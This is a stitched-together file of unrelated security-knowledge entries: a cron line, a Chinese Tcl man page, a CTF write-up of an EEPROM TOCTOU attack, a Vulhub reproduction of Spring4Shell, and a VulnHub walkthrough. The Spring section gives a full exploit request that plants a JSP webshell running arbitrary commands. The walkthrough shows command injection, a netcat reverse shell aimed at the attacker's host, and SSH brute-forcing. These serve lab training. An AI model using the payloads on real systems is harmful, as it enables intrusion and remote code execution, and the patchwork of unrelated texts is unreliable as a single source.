每小时执行`/etc/cron.hourly`目录内的脚本
```shell
01 * * * * root run-parts /etc/cron.hourly
```
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993-1994 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: break.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: break.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH break 3tcl "" Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
break \- 终止循环命令
.SH 总览 SYNOPSIS
\fBbreak\fR
.BE
.SH 描述 DESCRIPTION
.PP
这个命令典型的在一个象 \fBfor\fR 或 \fBforeach\fR 或 \fBwhile\fR 这样的循环命令的(循环)体中调用。它返回一个 TCL_BREAK 代码,这将导致一个 break 例外发生。这个例外将导致当前脚本被退出到(be aborted out to )在最内部(innermost)包含的循环命令,接着这个命令将终止它的执行并正常返回。在一些其他情况下也处理 Break 例外,如 \fBcatch\fR 命令、Tk 事件绑定、和过程体的最外部(outermost)的脚本。
.SH "参见 SEE ALSO"
catch(n), continue(n), for(n), foreach(n), while(n)
.SH "关键字 KEYWORDS"
abort, break, loop
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/06/27
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# A Genuine Counterfeit
* Category: Hardware
* 350 Points
* Solved by the JCTF Team
## Description
> Our product is being counterfeited by someone on the black market.
>
> It is your goal to find out how they are doing it.
>
> The analysis done by our hardware engineers shows that they swapped out the [24LC256 EEPROM](https://en.wikipedia.org/wiki/EEPROM) chip for a custom chip but the engineers still don't understand how the attack works.
> When using the fake chip with our software, the software says the product is genuine but it is clearly not.
>
> We have provided you a simulation of the product [at this link](https://wokwi.com/projects/350905024260343380) with a programmable replacement for the 24LC256 EEPROM. You can edit the code for the EEPROM (`eeprom-24lc256.chip.c`) in order to investigate and attack the product software.
> The code in `sketch.ino` is similar to the actual product code but changing it will not change the simulation.
>
> Find how the counterfeiters are tricking our software and implement a POC showing us how it is done.
> The flag will reveal itself when you are successful.
`sketch.ino`:
```c
// SPDX-License-Identifier: MIT
// Copyright (C) 2022 Benjamin Meisels
// !!!!!!!!!!!!!!!!!
// This isn't the code running so don't try and change it
// !!!!!!!!!!!!!!!!!
#include "mbedtls/md.h"
#include <cstring>
#include <stdio.h>
#include <Wire.h>
#include <U8g2lib.h>
#define EEPROM_I2C_ADDRESS 0x50
#define SHA256_DIGEST_SIZE 32
static const char G_AUTHENTICATION_MARKER[] = "INTENT";
static const size_t G_AUTHENTICATION_MARKER_SIZE = 7;
static const byte G_EXPECTED_HASH_RESULT[SHA256_DIGEST_SIZE] = { // "INTENT"
0xc6, 0xa5, 0x99, 0x4d,
0xde, 0xd4, 0xe6, 0xa7,
0x7c, 0x8a, 0x95, 0x91,
0x62, 0x1a, 0xa1, 0xbd,
0x92, 0x17, 0xa4, 0x3b,
0x02, 0x9d, 0xbd, 0x7f,
0xaf, 0x8b, 0x2a, 0x16,
0xe9, 0xb6, 0x81, 0xc1
};
U8X8_SSD1306_128X64_NONAME_HW_I2C display(U8X8_PIN_NONE);
bool is_device_available(uint8_t address)
{
Wire.beginTransmission(address);
uint8_t error = Wire.endTransmission();
return (error == 0);
}
void wait_for_device(uint8_t i2c_device_address) {
while(!is_device_available(i2c_device_address));
}
void eeprom_write_byte(uint8_t i2c_device_address, uint16_t eeprom_data_address, uint8_t data) {
Wire.beginTransmission(i2c_device_address);
Wire.write((uint8_t)(eeprom_data_address >> 8)); //writes the MSB
Wire.write((uint8_t)(eeprom_data_address & 0xFF)); //writes the LSB
Wire.write(data);
Wire.endTransmission();
wait_for_device(i2c_device_address);
}
byte eeprom_read_byte(uint8_t i2c_device_address, uint16_t eeprom_data_address) {
uint8_t rdata = 0xFF;
Wire.beginTransmission(i2c_device_address);
Wire.write((uint8_t)(eeprom_data_address >> 8)); //writes the MSB
Wire.write((uint8_t)(eeprom_data_address & 0xFF)); //writes the LSB
Wire.endTransmission();
Wire.requestFrom(i2c_device_address,(uint8_t)1);
if (Wire.available()) {
rdata = Wire.read();
}
return rdata;
}
String eeprom_read_string(uint16_t eeprom_data_address, unsigned int size) {
String result;
result.reserve(size);
for (unsigned int i = 0; i < size; ++i) {
result.concat((char)eeprom_read_byte(EEPROM_I2C_ADDRESS, i + eeprom_data_address));
}
return result;
}
bool SHA1_verify(unsigned char * data, size_t data_size) {
byte shaResult[SHA256_DIGEST_SIZE] = {0};
mbedtls_md_context_t ctx;
mbedtls_md_init(&ctx);
mbedtls_md_setup(&ctx, mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), 0);
mbedtls_md_starts(&ctx);
mbedtls_md_update(&ctx, data, data_size);
mbedtls_md_finish(&ctx, shaResult);
mbedtls_md_free(&ctx);
if(0 != std::memcmp(shaResult, G_EXPECTED_HASH_RESULT, SHA256_DIGEST_SIZE)) {
Serial.println("- Verification failed");
Serial.print("Expected Hash: ");
for(int i= 0; i< SHA256_DIGEST_SIZE; i++)
{
printf("%02x", G_EXPECTED_HASH_RESULT[i]);
}
printf("\n");
Serial.print("Calculated Hash: ");
for(int i= 0; i< SHA256_DIGEST_SIZE; i++)
{
printf("%02x", shaResult[i]);
}
printf("\n");
return false;
}
Serial.println("- Verification successful");
return true;
}
void setup()
{
Wire.begin();
Serial.begin(9600);
while (!Serial);
if (!is_device_available(EEPROM_I2C_ADDRESS))
{
printf("No device was found\n");
while(true);
}
display.begin();
display.setPowerSave(0);
display.clearDisplay();
display.setCursor(0,0);
display.setFont(u8x8_font_pxplusibmcgathin_f);
String authentication_marker = eeprom_read_string(0x4000, G_AUTHENTICATION_MARKER_SIZE);
Serial.println("- Reading authentication marker");
Serial.println(authentication_marker);
byte authentication_marker_buffer[G_AUTHENTICATION_MARKER_SIZE] = {'\0'};
authentication_marker.getBytes(authentication_marker_buffer, G_AUTHENTICATION_MARKER_SIZE);
Serial.println("- Verifying authentication marker");
bool verified = SHA1_verify(authentication_marker_buffer, G_AUTHENTICATION_MARKER_SIZE);
authentication_marker = eeprom_read_string(0x4000, G_AUTHENTICATION_MARKER_SIZE);
Serial.println("- Reading authentication marker");
Serial.println(authentication_marker);
display.setCursor(0,0);
display.print(authentication_marker);
if (verified) {
display.setCursor(0,3);
display.print("Genuine!");
if (authentication_marker != G_AUTHENTICATION_MARKER) {
Serial.println("- Flag Unlocked");
// Censored flag.
// The real flag will be printed when you are successful.
Serial.println("INTENT{PLACEHOLDER}");
}
} else {
display.setCursor(0,3);
display.print("Counterfit!");
}
}
void loop()
{
delay(1000);
}
```
`eeprom-24lc256.chip.c`:
```c
// 24lc256 Wokwi Custom Chip - For information and examples see:
// https://link.wokwi.com/custom-chips-alpha
//
// SPDX-License-Identifier: MIT
// Copyright (C) 2022 Benjamin Meisels / wokwi.com
// !!!!!!!!!!!!!!!!!
// Edit this file
// !!!!!!!!!!!!!!!!!
#include "wokwi-api.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define EEPROM_SIZE 0x8000
const int BASE_ADDRESS = 0x50;
static const char G_AUTHENTICATION_MARKER[] = "INTENT";
static const size_t G_AUTHENTICATION_MARKER_SIZE = 7;
static const uint16_t G_AUTHENTICATION_MARKER_LOCATION = 0x4000;
typedef enum {
IDLE,
ADDRESS_1,
DATA
} eeprom_state_t;
typedef struct {
eeprom_state_t state;
pin_t pin_a0;
pin_t pin_a1;
pin_t pin_a2;
pin_t pin_wp;
uint16_t address_register;
uint8_t mem[EEPROM_SIZE];
uint8_t byte_counter;
} chip_state_t;
static bool on_i2c_connect(void *user_data, uint32_t address, bool connect);
static uint8_t on_i2c_read(void *user_data);
static bool on_i2c_write(void *user_data, uint8_t data);
static void on_i2c_disconnect(void *user_data);
static uint8_t get_addr(chip_state_t *chip) {
uint8_t address = BASE_ADDRESS;
address |= pin_read(chip->pin_a2) << 2;
address |= pin_read(chip->pin_a1) << 1;
address |= pin_read(chip->pin_a0);
return address;
}
void chip_init(void) {
chip_state_t *chip = malloc(sizeof(chip_state_t));
uint8_t address = get_addr(chip);
chip->pin_a0 = pin_init("A0", INPUT);
chip->pin_a1 = pin_init("A1", INPUT);
chip->pin_a2 = pin_init("A2", INPUT);
chip->pin_wp = pin_init("WP", INPUT);
chip->address_register = 0;
memset(chip->mem, 0, EEPROM_SIZE);
chip->state = IDLE;
chip->byte_counter = 0;
const i2c_config_t i2c_config = {
.user_data = chip,
.address = address,
.scl = pin_init("SCL", INPUT),
.sda = pin_init("SDA", INPUT),
.connect = on_i2c_connect,
.read = on_i2c_read,
.write = on_i2c_write,
.disconnect = on_i2c_disconnect, // Optional
};
i2c_init(&i2c_config);
memcpy(
chip->mem + G_AUTHENTICATION_MARKER_LOCATION,
G_AUTHENTICATION_MARKER,
G_AUTHENTICATION_MARKER_SIZE);
// The following message will appear in the browser's DevTools console:
printf("Hello from 24lc256 at address %x \n", address);
}
bool on_i2c_connect(void *user_data, uint32_t address, bool connect) {
return true; /* Ack */
}
uint8_t on_i2c_read(void *user_data) {
static bool double_fetch = false;
chip_state_t *chip = user_data;
uint8_t data = chip->mem[chip->address_register];
chip->address_register = (chip->address_register + 1) & 0x7ffff;
return data;
}
bool on_i2c_write(void *user_data, uint8_t data) {
chip_state_t *chip = user_data;
switch(chip->state)
{
case IDLE:
chip->address_register = (data & 0x7f) << 8;
chip->state = ADDRESS_1;
break;
case ADDRESS_1:
chip->address_register |= data;
chip->state = DATA;
break;
case DATA:
if (chip->byte_counter > 63) {
return false;
}
chip->mem[chip->address_register] = data;
chip->address_register = (chip->address_register + 1) & 0x7ffff;
break;
default:
printf("error");
break;
}
return true; // Ack
}
void on_i2c_disconnect(void *user_data) {
chip_state_t *chip = user_data;
chip->state = IDLE;
}
```
## Solution
This challenge utilizes a custom IoT board (simulation):

Running the simulation, we get the following output:

```
- Reading authentication marker
INTENT
- Verifying authentication marker
- Verification successful
- Reading authentication marker
INTENT
```
It looks like our goal is to modify the EEPROM so that it tricks the driver into printing the flag.
The driver performs the following actions:
1. It reads the authentication marker from the EEPROM
2. It verifies the marker against a precalculated hash
3. It reads the marker again from the EEPROM
4. If the marker was previously authentic but now isn't, it prints the flag:
```c
String authentication_marker = eeprom_read_string(0x4000, G_AUTHENTICATION_MARKER_SIZE);
Serial.println("- Reading authentication marker");
Serial.println(authentication_marker);
byte authentication_marker_buffer[G_AUTHENTICATION_MARKER_SIZE] = {'\0'};
authentication_marker.getBytes(authentication_marker_buffer, G_AUTHENTICATION_MARKER_SIZE);
Serial.println("- Verifying authentication marker");
bool verified = SHA1_verify(authentication_marker_buffer, G_AUTHENTICATION_MARKER_SIZE);
authentication_marker = eeprom_read_string(0x4000, G_AUTHENTICATION_MARKER_SIZE);
Serial.println("- Reading authentication marker");
Serial.println(authentication_marker);
display.setCursor(0,0);
display.print(authentication_marker);
if (verified) {
display.setCursor(0,3);
display.print("Genuine!");
if (authentication_marker != G_AUTHENTICATION_MARKER) {
Serial.println("- Flag Unlocked");
// Censored flag.
// The real flag will be printed when you are successful.
Serial.println("INTENT{PLACEHOLDER}");
}
}
```
So this looks like a simple varient of a TOCTOU (Time of Check, Time of Use) attack. When the driver reads the marker for the first time (for the "check"), we provide
it with the real value. The next time (for the "use"), we give it a different marker.
We can see that the EEPROM function that's responsible for the actual read is:
```c
uint8_t on_i2c_read(void *user_data) {
static bool double_fetch = false;
chip_state_t *chip = user_data;
uint8_t data = chip->mem[chip->address_register];
chip->address_register = (chip->address_register + 1) & 0x7ffff;
return data;
}
```
A simple modification is needed in order to achieve our goal. We check if the requested address is the marker location. This is in fact the address of the "`I`" in "`INTENT`".
The first time it's requested, we return it as-is and raise a flag. For any subsequent read attempt of this address, we modify the return value.
```c
uint8_t on_i2c_read(void *user_data) {
static bool double_fetch = false;
chip_state_t *chip = user_data;
printf("chip->address_register %x \n", chip->address_register);
uint8_t data = chip->mem[chip->address_register];
if (chip->address_register == G_AUTHENTICATION_MARKER_LOCATION) {
if (double_fetch == false) {
double_fetch = true;
}
else {
data ^= 32;
}
}
chip->address_register = (chip->address_register + 1) & 0x7ffff;
return data;
}
```
Running the new code will display "`iNTENT Genuine!`" on the screen and will give us the flag:
```
- Reading authentication marker
INTENT
- Verifying authentication marker
- Verification successful
- Reading authentication marker
iNTENT
- Flag Unlocked
INTENT{1M_1473_1M_1473}
```
|
sec-knowleage
|
# Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞(CVE-2022-22965)
在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞。
现在已知的利用方法要求应用程序以WAR部署的形式在Tomcat上运行,然而,该漏洞的性质更为普遍,可能有其他方法可以利用它。
参考链接:
- <https://tanzu.vmware.com/security/cve-2022-22965>
- <https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/>
## 漏洞环境
执行如下命令启动一个Spring WebMVC 5.3.17服务:
```
docker compose up -d
```
服务启动后,访问`http://your-ip:8080/?name=Bob&age=25`即可看到一个演示页面。
## 漏洞复现
发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件:
```
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
```

然后,访问刚写入的JSP Webshell,执行任意命令:
```
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id
```

注意,你需要在利用完成后将`class.module.classLoader.resources.context.parent.pipeline.first.pattern`清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:
```
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
```
总体来说,这个漏洞的利用方法会修改目标服务器配置,导致目标需要重启服务器才能恢复,实际测试中需要格外注意。
|
sec-knowleage
|
# RICKDICULOUSLYEASY: 1
> https://download.vulnhub.com/rickdiculouslyeasy/RickdiculouslyEasy.zip
靶场IP:`192.168.32.12`
扫描对外端口服务
```
┌──(root㉿kali)-[/tmp]
└─# nmap -sV -p1-65535 192.168.32.12
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 04:54 EDT
Nmap scan report for 192.168.32.12
Host is up (0.00018s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.27 ((Fedora))
9090/tcp open http Cockpit web service 161 or earlier
13337/tcp open unknown
22222/tcp open ssh OpenSSH 7.5 (protocol 2.0)
60000/tcp open unknown
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port22-TCP:V=7.92%I=7%D=9/8%Time=6319ADC4%P=x86_64-pc-linux-gnu%r(NULL,
SF:42,"Welcome\x20to\x20Ubuntu\x2014\.04\.5\x20LTS\x20\(GNU/Linux\x204\.4\
SF:.0-31-generic\x20x86_64\)\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port13337-TCP:V=7.92%I=7%D=9/8%Time=6319ADC4%P=x86_64-pc-linux-gnu%r(NU
SF:LL,29,"FLAG:{TheyFoundMyBackDoorMorty}-10Points\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port60000-TCP:V=7.92%I=7%D=9/8%Time=6319ADCA%P=x86_64-pc-linux-gnu%r(NU
SF:LL,2F,"Welcome\x20to\x20Ricks\x20half\x20baked\x20reverse\x20shell\.\.\
SF:.\n#\x20")%r(ibm-db2,2F,"Welcome\x20to\x20Ricks\x20half\x20baked\x20rev
SF:erse\x20shell\.\.\.\n#\x20");
MAC Address: 08:00:27:73:25:78 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.88 seconds
```
FTP匿名登录
```
┌──(root㉿kali)-[/tmp]
└─# ftp 192.168.32.12
Connected to 192.168.32.12.
220 (vsFTPd 3.0.3)
Name (192.168.32.12:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||58436|)
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 33 Aug 22 2017 .
drwxr-xr-x 3 0 0 33 Aug 22 2017 ..
-rw-r--r-- 1 0 0 42 Aug 22 2017 FLAG.txt
drwxr-xr-x 2 0 0 6 Feb 12 2017 pub
226 Directory send OK.
ftp> get FLAG.txt
local: FLAG.txt remote: FLAG.txt
229 Entering Extended Passive Mode (|||17909|)
150 Opening BINARY mode data connection for FLAG.txt (42 bytes).
100% |**********************************************************************************************************************************************************************************************| 42 70.35 KiB/s 00:00 ETA
226 Transfer complete.
42 bytes received in 00:00 (41.93 KiB/s)
ftp> cd pub
250 Directory successfully changed.
ftp> ls -al
229 Entering Extended Passive Mode (|||28359|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 6 Feb 12 2017 .
drwxr-xr-x 3 0 0 33 Aug 22 2017 ..
226 Directory send OK.
```
```
┌──(root㉿kali)-[/tmp]
└─# cat FLAG.txt
FLAG{Whoa this is unexpected} - 10 Points
```
访问80端口

访问9090端口,获得`FLAG {There is no Zeus, in your face!} - 10 Points`

访问13337端口
```
┌──(root㉿kali)-[/tmp]
└─# nc 192.168.32.12 13337
FLAG:{TheyFoundMyBackDoorMorty}-10Points
```
访问60000端口
```
┌──(root㉿kali)-[/tmp]
└─# nc 192.168.32.12 60000
Welcome to Ricks half baked reverse shell...
# ls
FLAG.txt
# cat FLAG.txt
FLAG{Flip the pickle Morty!} - 10 Points
```
爆破80web目录,发现`/robots.txt`
```
┌──(root㉿kali)-[/tmp]
└─# dirb http://192.168.32.12/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Sep 8 05:01:29 2022
URL_BASE: http://192.168.32.12/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.12/ ----
+ http://192.168.32.12/cgi-bin/ (CODE:403|SIZE:217)
+ http://192.168.32.12/index.html (CODE:200|SIZE:326)
==> DIRECTORY: http://192.168.32.12/passwords/
+ http://192.168.32.12/robots.txt (CODE:200|SIZE:126)
---- Entering directory: http://192.168.32.12/passwords/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Sep 8 05:01:31 2022
DOWNLOADED: 4612 - FOUND: 3
```
访问`/robots.txt`
```
┌──(root㉿kali)-[/tmp]
└─# curl http://192.168.32.12/robots.txt
They're Robots Morty! It's ok to shoot them! They're just Robots!
/cgi-bin/root_shell.cgi
/cgi-bin/tracertool.cgi
/cgi-bin/*
```
发现`/cgi-bin/tracertool.cgi`是命令注入漏洞

启动一个监听器并尝试`; nc -n <kali-ip> <kali-port> -e /usr/bin/bash`。不幸的是,**没有shell反弹**!看起来某种防火墙,正在阻止出站连接。
查看`/var/www/html`目录,找到`passwords`目录
```
┌──(root㉿kali)-[/tmp]
└─# curl http://192.168.32.12/passwords/FLAG.txt
FLAG{Yeah d- just don't do it.} - 10 Points
```

```
┌──(root㉿kali)-[/tmp]
└─# curl http://192.168.32.12/passwords/passwords.html
<!DOCTYPE html>
<html>
<head>
<title>Morty's Website</title>
<body>Wow Morty real clever. Storing passwords in a file called passwords.html? You've really done it this time Morty. Let me at least hide them.. I'd delete them entirely but I know you'd go bitching to your mom. That's the last thing I need.</body>
<!--Password: winter-->
</head>
</html>
```
获取用户用来爆破ssh

```
┌──(root㉿kali)-[/tmp]
└─# cat passwd| awk -F ':' '{print$1}'
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
operator
games
ftp
nobody
systemd-coredump
systemd-timesync
systemd-network
systemd-resolve
dbus
polkitd
sshd
rpc
abrt
cockpit-ws
rpcuser
chrony
tcpdump
RickSanchez
Morty
Summer
apache
```
爆破22222端口,发现用户`Summer`

ssh登录
```
FLAG{Get off the high road Summer!} - 10 Points
```

查看图片文件,发现密码:`Meeseek`
```
[Summer@localhost Morty]$ head Safe_Password.jpg
����JFIF``���ExifMM▒J(�iZ``��P�8��8 The Safe Password: File: /home/Morty/journal.txt.zip. Password: Meeseek8BIM8BIM%���� ���B~�8P"��
���}!1AQa"q2��#B��R��$3br�
▒▒%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
���w!1AQaq"2B���� #3R�br�
$4�%�▒▒&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������C00D000D\DDDD\t\\\\\t�tttttt�������������������������������C"$$848`44`最�����������������������������������������������������5��
?Ӣ�+P��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(����
�,o���Y��B�W��@ޠV��1���(��3
(��
ɹ�h��l?�_��j(j�Nڣ9E���с3�}���U��dGQ�XJ6:a;�b�ST1w��M�(����OPKր(����xժ�m���ѫ4�1�(��QEn�U�C
(��
���)�1�C(a/��lsRS'�QE�!!Ac�S��3?ڤ�?�We7�e�Տ���P�x���aV]��Q��d�k?�n�5��|�Z��E?���tS���E:�:ƿ�5Bvt��u}���r
```
解压压缩包
```
[Summer@localhost Morty]$ unzip journal.txt.zip
Archive: journal.txt.zip
[journal.txt.zip] journal.txt password:
error: cannot create journal.txt
Permission denied
[Summer@localhost Morty]$ cp journal.txt.zip /tmp
[Summer@localhost Morty]$ cd /tmp
[Summer@localhost tmp]$ unzip journal.txt.zip
Archive: journal.txt.zip
[journal.txt.zip] journal.txt password:
inflating: journal.txt
[Summer@localhost tmp]$ ls
journal.txt journal.txt.zip systemd-private-600aeec3477041cc9e077f6a83e35494-chronyd.service-NZjuFq systemd-private-600aeec3477041cc9e077f6a83e35494-httpd.service-zIURtJ
[Summer@localhost tmp]$ head journal.txt
Monday: So today Rick told me huge secret. He had finished his flask and was on to commercial grade paint solvent. He spluttered something about a safe, and a password. Or maybe it was a safe password... Was a password that was safe? Or a password to a safe? Or a safe password to a safe?
Anyway. Here it is:
FLAG: {131333} - 20 Points
```
使用找到`safe`二进制文件的提示,我查找了 Rick 的旧乐队 - `The Flesh Curtains`。我还需要根据这些单词**按特定顺序进行一些密码排列:**
- 1个大写字符
- 然后,1个号码
